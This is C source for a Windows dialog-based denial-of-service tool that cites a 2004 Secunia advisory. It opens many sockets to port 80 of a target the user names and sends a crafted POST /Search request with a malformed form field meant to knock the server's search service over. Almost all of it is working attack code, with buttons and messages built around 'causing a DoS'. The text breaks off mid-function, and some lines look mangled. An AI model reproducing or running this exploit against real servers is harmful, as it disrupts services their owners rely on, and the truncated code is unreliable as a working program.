/* http://secunia.com/advisories/13415 written by dilaurdimag released on 9.12.04 compile with ms vc++ remember to link with winsock */ #define WIN32_LEAN_AND_MEAN #include "windows.h" #define IDD_MAIN 101 #define IDI_MAIN 103 #define IDC_SERV 1000 #define IDC_SOCKS 1002 #define IDHALT 1004 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 104 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1005 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif // #include #include #include #define WM_WSAASYNC (WM_USER +5) BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam); int startupClient(HWND hDlg); void StopDoS(); void EnableDoSButton(HWND hDlg); void DisableDoSButton(HWND hDlg); struct hostent *host_entry; struct sockaddr_in server; WSAData wsaData; char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\nAccept-Language: en-us\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control: no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKBOX=on&FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKBOX=on&FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+--\n\n"; char target[101]; __int64 timer; int *mySocket, sockets=256, isDoS=0, sustain=0, count=0; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, (DLGPROC)DlgProc, 0); return 0; } BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch(uMsg) { case WM_INITDIALOG: int error; if ((error = WSAStartup(MAKEWORD(2, 2), &wsaData)) == SOCKET_ERROR){ MessageBox(hDlg, "Could not initialize winsock! Try looking for a winsock update.", "Fatal Error", MB_OK|MB_ICONSTOP); SendMessage(hDlg, WM_CLOSE, 0, 0); } EnableDoSButton(hDlg); SetDlgItemText(hDlg, IDC_SERV, ""); SetDlgItemInt(hDlg, IDC_SOCKS, 256, 0); return(false); case WM_COMMAND: if(wParam==IDOK) { DisableDoSButton(hDlg); EnableWindow(GetDlgItem(hDlg, IDHALT), 0); GetDlgItemText(hDlg, IDC_SERV, target, 100); sockets = GetDlgItemInt(hDlg, IDC_SOCKS, 0, 0); if(sockets<2){ MessageBox(hDlg, "You need more sockets to cause a DoS!", "User Error", MB_OK|MB_ICONWARNING); EnableDoSButton(hDlg); }else if(strlen(target)<1){ MessageBox(hDlg, "You need to specify a target!", "User Error", MB_OK|MB_ICONWARNING); EnableDoSButton(hDlg); }else if(!gethostbyname(target)){ MessageBox(hDlg, "Unable to resolve target!", "DNS Error", MB_OK|MB_ICONWARNING); EnableDoSButton(hDlg); }else { DisableDoSButton(hDlg); host_entry = gethostbyname(target); server.sin_family = AF_INET; server.sin_port = htons(80); server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr; mySocket = (int*)realloc(mySocket, sizeof(int)*sockets); if(mySocket==NULL){ mySocket = (int*)realloc(mySocket, sizeof(int)*sockets); if(mySocket==NULL){ SetFocus(hDlg); MessageBox(hDlg, "Too many sockets and not enough memory.", "Memory allocation failed!", MB_OK|MB_ICONWARNING); EnableDoSButton(hDlg); } }else{ memset(mySocket, 0, sizeof(mySocket)); isDoS=1; PostMessage(hDlg, WM_WSAASYNC, 0, 0); } } }else if(wParam==IDHALT) { sustain=0; count=0; isDoS=0; StopDoS(); EnableDoSButton(hDlg); SetFocus(hDlg); StopDoS(); MessageBox(hDlg, "All sockets have been shutdown!", "Information", MB_OK|MB_ICONINFORMATION); } return(false); case WM_CLOSE: WSACleanup(); DestroyWindow(hDlg); return(true); case WM_WSAASYNC: if(isDoS) { mySocket[count] = startupClient(hDlg); SetDlgItemInt(hDlg, IDC_SOCKS, sockets-count, 0); if(counttimer) { int fcount; for(fcount=0; fcount
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